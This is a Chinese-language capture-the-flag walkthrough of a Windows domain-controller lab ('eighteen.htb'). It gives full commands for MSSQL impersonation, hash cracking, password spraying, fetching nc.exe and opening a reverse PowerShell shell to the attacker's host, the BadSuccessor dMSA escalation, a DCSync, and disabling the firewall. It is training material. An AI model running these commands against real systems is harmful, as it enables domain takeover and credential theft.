目标信息
IP地址:
10.10.11.95(非固定IP地址)题目凭据:
kevin / iNa2we6haRj2gaw
信息收集
ICMP检测
PING 10.129.136.4 (10.129.136.4) 56(84) bytes of data.
64 bytes from 10.129.136.4: icmp_seq=1 ttl=127 time=315 ms
64 bytes from 10.129.136.4: icmp_seq=2 ttl=127 time=320 ms
64 bytes from 10.129.136.4: icmp_seq=3 ttl=127 time=271 ms
64 bytes from 10.129.136.4: icmp_seq=4 ttl=127 time=444 ms
--- 10.129.136.4 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3004ms
rtt min/avg/max/mdev = 270.876/337.530/443.817/64.295 ms
攻击机和靶机网络连接正常。
防火墙检测
# Nmap 7.95 scan initiated Tue Nov 18 18:21:50 2025 as: /usr/lib/nmap/nmap -sF -p- --min-rate 3000 -oN fin_result.txt 10.129.136.4
Nmap scan report for 10.129.136.4
Host is up (0.31s latency).
All 65535 scanned ports on 10.129.136.4 are in ignored states.
Not shown: 65535 open|filtered tcp ports (no-response)
# Nmap done at Tue Nov 18 18:22:44 2025 -- 1 IP address (1 host up) scanned in 53.75 seconds
无法探测靶机防火墙状态。
网络端口扫描
TCP端口扫描结果
# Nmap 7.95 scan initiated Tue Nov 18 18:25:06 2025 as: /usr/lib/nmap/nmap -sT -sV -A -p- --min-rate 3000 -oN tcp_result.txt 10.129.136.4
Nmap scan report for 10.129.136.4
Host is up (0.48s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to http://eighteen.htb/
1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
| ms-sql-ntlm-info:
| 10.129.136.4:1433:
| Target_Name: EIGHTEEN
| NetBIOS_Domain_Name: EIGHTEEN
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: eighteen.htb
| DNS_Computer_Name: DC01.eighteen.htb
| DNS_Tree_Name: eighteen.htb
|_ Product_Version: 10.0.26100
|_ssl-date: 2025-11-18T17:26:23+00:00; +6h59m35s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-11-18T13:06:16
|_Not valid after: 2055-11-18T13:06:16
| ms-sql-info:
| 10.129.136.4:1433:
| Version:
| name: Microsoft SQL Server 2022 RTM
| number: 16.00.1000.00
| Product: Microsoft SQL Server 2022
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022|2012|2016 (88%)
OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2016
Aggressive OS guesses: Microsoft Windows Server 2022 (88%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows Server 2016 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 6h59m34s, deviation: 0s, median: 6h59m34s
TRACEROUTE (using proto 1/icmp)
HOP RTT ADDRESS
1 554.42 ms 10.10.14.1
2 554.51 ms 10.129.136.4
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Nov 18 18:26:48 2025 -- 1 IP address (1 host up) scanned in 102.42 seconds
UDP端口开放列表扫描结果
# Nmap 7.95 scan initiated Tue Nov 18 18:28:28 2025 as: /usr/lib/nmap/nmap -sU -p- --min-rate 3000 -oN udp_ports.txt 10.129.136.4
Nmap scan report for 10.129.136.4
Host is up (0.27s latency).
Not shown: 65534 open|filtered udp ports (no-response)
PORT STATE SERVICE
53/udp open domain
# Nmap done at Tue Nov 18 18:29:20 2025 -- 1 IP address (1 host up) scanned in 51.15 seconds
**UDP**端口详细信息扫描结果
(无)
同时发现靶机运行Windows Server 2022操作系统,为域控制器,域名为eighteen.htb,主机名为DC01,对外开放了53/dns(udp)、80/http、1433/mssql和5985/winrm服务。
服务探测
DNS服务(53端口)
尝试使用dig命令查询靶机主要域名记录:
dig any eighteen.htb @dc01.eighteen.htb +notcp

除域控主机名外未发现任何域名。
MSSQL服务(1433端口)
尝试使用impacket-mssqlclient工具登录MSSQL数据库:
impacket-mssqlclient eighteen.htb/kevin:'iNa2we6haRj2gaw!'@dc01.eighteen.htb

登录成功,尝试执行enum_logins存储过程查看MSSQL用户:

发现存在sa、kevin和appdev三个用户。执行enum_db查看数据库列表:

发现存在数据库financial_planner,尝试查看该数据库内模式,但无权查看。
执行enum_impersonate命令查看可模拟安全上下文的数据库用户:

成功发现当前用户可模拟appdev用户的安全上下文!
渗透测试
破解Web应用管理用户哈希
在服务探测阶段,我们成功发现SQL Server用户kevin可模拟appdev用户的安全上下文。现在直接登录SQL Server,通过EXECUTE AS语句切换安全上下文:
EXECUTE AS Login = 'appdev';

成功切换安全上下文!
为更加方便地查看数据库内容,直接启动DBeaver数据库管理程序,新建SQL Server连接:

为了将安全上下文自动切换到appdev用户,需要在“初始化”选项卡中点击“启动查询”按钮,添加连接成功后自动切换上下文的语句:

随后保存配置,双击连接:

连接成功!可以看到当前appdev用户有权访问financial_planner数据库。双击dbo模式查看数据表:

发现模式内存在4张数据表,其中users表存放了用户凭据,双击该表查看:

成功发现网站admin用户哈希:
- 加密方式:
PBKDF2-HMAC-SHA256 - 迭代次数:
600000 - 盐值:
AMtzteQIG7yAbZIa - 哈希值:
0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133
获取哈希值后,决定对其进行暴力破解。首先需要将其编写为受hashcat支持的哈希格式:sha256:<iterations>:<base64_salt>:<base64_hash>(哈希种类编号为10900,注意最后的哈希值为16进制格式,需要直接将其转为Base64格式,可使用Python库codecs的decode()方法实现)
sha256:600000:QU10enRlUUlHN3lBYlpJYQo=:BnOtkKC0r7GdZiM28Pzjqe3Qt7GRk3F74ozk1myIcTM=
将其保存为文件./userhash/admin-webapp-pbkdf2.txt,使用hashcat破解:
./hashcat -m 10900 -a 0 Z:/eighteen/userhash/admin-webapp-pbkdf256.txt ./rockyou.txt --force

成功发现Web用户凭据:
- 用户名:
admin - 密码:
iloveyou1
MSSQL枚举RID爆破用户名
成功破解Web用户哈希后,由于未发现其它可利用信息,决定通过SQL Server爆破Windows RID进行进一步枚举:
netexec mssql dc01.eighteen.htb -u kevin -p 'iNa2we6haRj2gaw!' --rid-brute 40000 --mssql-timeout 30 --local-auth

成功发现如下用户:
Administrator
krbtgt
Guest
DC01$
mssqlsvc
SQLServer2005SQLBrowserUser$DC01
jamie.dunn
jane.smith
alice.jones
adam.scott
bob.brown
carol.white
dave.green
将发现的用户名和密码保存到文件内,使用crackmapexec进行密码喷洒:
crackmapexec winrm dc01.eighteen.htb -d eighteen.htb -u aduser.lst -p pass.lst --continue-on-success 2>/dev/null

成功发现域内用户凭据:
- 域:
eighteen.htb - 用户名:
adam.scott - 密码:
iloveyou1
尝试使用adam.scott凭据执行whoami命令:
crackmapexec winrm dc01.eighteen.htb -d eighteen.htb -u adam.scott -p "iloveyou1" -X "whoami /all"

直接在本地打开SimpleHTTPServer和netcat监听,通过WinRM执行如下命令下载netcat并反弹PowerShell:
crackmapexec winrm dc01.eighteen.htb -d eighteen.htb -u adam.scott -p "iloveyou1" -X "curl -Uri http://10.10.14.4/nc.exe -OutFile C:/Users/adam.scott/Desktop/nc.exe"
crackmapexec winrm dc01.eighteen.htb -d eighteen.htb -u adam.scott -p "iloveyou1" -X "C:/Users/adam.scott/Desktop/nc.exe -e powershell.exe 10.10.14.4 443"

成功!!
权限提升
域关系信息收集
获得反弹Shell后,尝试进行域关系信息收集。首先上传iox端口转发工具建立SOCKS代理隧道:GitHub - EddieIvan01/iox: Tool for port forwarding & intranet proxy

crackmapexec winrm dc01.eighteen.htb -d eighteen.htb -u adam.scott -p "iloveyou1" -X "curl -Uri http://10.10.14.4/iox.exe -OutFile C:/Users/adam.scott/Desktop/iox.exe"
随后在本地启动iox服务端,分别启动TCP代理和UDP端口转发连接服务:
./iox proxy -l *2222 -l 1080 -k 314159
./iox fwd -l *2223 -l 123 -k 314159 -u
接着在靶机上启动iox进程,建立TCP Socks代理隧道和对靶机时间服务端口(123/udp)的转发:
Start-Process -FilePath C:/Users/adam.scott/Desktop/iox.exe -ArgumentList "proxy -r *10.10.14.4:2222 -k 314159" -WindowStyle Hidden
Start-Process -FilePath C:/Users/adam.scott/Desktop/iox.exe -ArgumentList "fwd -r 10.10.11.95:123 -r *10.10.14.4:2223 -k 314159 -u" -WindowStyle Hidden

端口转发建立完毕后,首先和靶机同步时间,注意这里将靶机NTP时间服务端口转发到了本地:
ntpdate -s 127.0.0.1
然后开始进行域关系枚举,首先使用bloodyAD工具查看当前用户adam.scott可控制的域内对象:
proxychains4 -q bloodyAD --host dc01.eighteen.htb -d eighteen.htb -u adam.scott -p "iloveyou1" get writable

发现当前用户可在组织单元OU=Staff,DC=eighteen,DC=htb中创建任意子对象。
尝试联网搜索相关利用方法,发现Windows Server 2025的dMSA委派托管服务账户存在一个重大安全漏洞BadSuccessor,如攻击者有权限在某个组织单元中创建包含一些特殊属性的dMSA用户对象,就可以利用其进行权限提升:

BadSuccessor漏洞利用
dMSA,中文全称“委派托管服务账户”,是一种支持多个主机使用同一个账户运行服务,以及密码自动管理等功能的特殊服务账户,相当于传统服务账户的升级版本。通过此类账户,用户可以更加高效、快捷地跨计算机管理应用程序。如果用户需要,Windows Server可以将一个已经存在的传统服务账户配置迁移到新创建的dMSA上,当迁移完毕后,所有针对原服务账户的ST票据获取请求都将被拒绝并重定向到dMSA账户上。
BadSuccessor漏洞在迁移完毕后,攻击者针对dMSA账户进行TGS-REP请求时发生。dMSA账户存在两个关键属性:msDS-DelegatedMSAState和msDS-ManagedAccountPrecededByLink,第一个属性记录迁移完成状态,第二个属性记录当前dMSA对应的原本传统服务账户DN。当TGT校验通过,攻击者使用TGT票据申请dMSA账户服务票据时,票据中会返回原服务账户的PAC权限信息。
虽然启动服务账户迁移进程需要域管理员进行操作,但如果攻击者有权在任意OU中创建dMSA账户,就可以对上述两个dMSA账户属性值进行修改,进而利用一个机器账户请求dMSA账户的ST票据,最后获取域内任意账户的权限,进行提权。
如想了解更多的漏洞细节,可阅读安全研究员的原创分析文章:BadSuccessor:在 Active Directory 环境中滥用 dMSA 发动提权攻击

在靶机域环境中,需要执行如下步骤利用BadSuccessor漏洞:
- 在组织单元
Staff中新建一个机器账户,并赋予当前用户对其的GenericAll权限; - 在组织单元中再次新建一个
dMSA账户,赋予GenericAll权限后,设置msDS-DelegatedMSAState属性为2,msDS-ManagedAccountPrecededByLink为Administrator的DN。 - 使用
impacket-getST工具,通过机器账户凭据,请求dMSA账户带有特权PAC的服务票据; - 通过该票据执行
DCSync攻击,获取域管理员哈希。
下面执行攻击操作,首先创建机器账户,并添加GenericAll权限:
proxychains4 -q bloodyAD --host dc01.eighteen.htb -d eighteen.htb -u adam.scott -p "iloveyou1" add computer misaka19008_evil "Asd310056" --ou "OU=Staff,DC=eighteen,DC=htb"
proxychains4 -q bloodyAD --host dc01.eighteen.htb -d eighteen.htb -u adam.scott -p "iloveyou1" add genericAll "CN=misaka19008_evil,OU=Staff,DC=eighteen,DC=htb" "CN=adam.scott,OU=Staff,DC=eighteen,DC=htb"

接着创建dMSA账户,需要允许机器账户misaka19008_evil读取其密码:
New-ADServiceAccount -Name "misaka_dMSA" -DNSHostname eighteen.htb -CreateDelegatedServiceAccount -PrincipalsAllowedToRetrieveManagedPassword "misaka19008_evil`$" -Path "OU=Staff,DC=eighteen,DC=htb"
赋予GenericAll权限:
proxychains4 -q bloodyAD --host dc01.eighteen.htb -d eighteen.htb -u adam.scott -p "iloveyou1" add genericAll "CN=misaka_dMSA,OU=Staff,DC=eighteen,DC=htb" "CN=adam.scott,OU=Staff,DC=eighteen,DC=htb"
随后修改关键属性:
$dMSA = [ADSI]"LDAP://CN=misaka_dMSA,OU=Staff,DC=eighteen,DC=htb"
$dMSA.put("msDS-DelegatedMSAState", 2)
$dMSA.put("msDS-ManagedAccountPrecededByLink", "CN=Administrator,CN=Users,DC=eighteen,DC=htb")
$dMSA.SetInfo()

修改属性成功!接着使用impacket-getST工具以misaka19008_evil机器账户身份请求dMSA账户服务票据:
proxychains4 -q impacket-getST eighteen.htb/misaka19008_evil:"Asd310056" -k -dmsa -self -impersonate 'misaka_dMSA$'

成功获取特权服务票据!接下来利用票据进行DCSync攻击,获取域管理员密码哈希:
export KRB5CCNAME=/home/misaka19008/Documents/pentest_notes/eighteen/misaka_dMSA@krbtgt_EIGHTEEN.HTB.ccache
proxychains4 -q impacket-secretsdump dc01.eighteen.htb -k -no-pass -just-dc-user Administrator

成功获取域管理员哈希!直接更改其密码并打开防火墙,并查看域管理员用户详细信息:
crackmapexec winrm dc01.eighteen.htb -d eighteen.htb -u Administrator -H "0b133be956bfaddf9cea56701affddec" -x "net user Administrator Asd310056 /domain"
crackmapexec winrm dc01.eighteen.htb -d eighteen.htb -u Administrator -p "Asd310056" -x "netsh advfirewall set allprofiles state off"
crackmapexec smb dc01.eighteen.htb -d eighteen.htb -u Administrator -p "Asd310056" -x "whoami /all"

提权成功!!!!
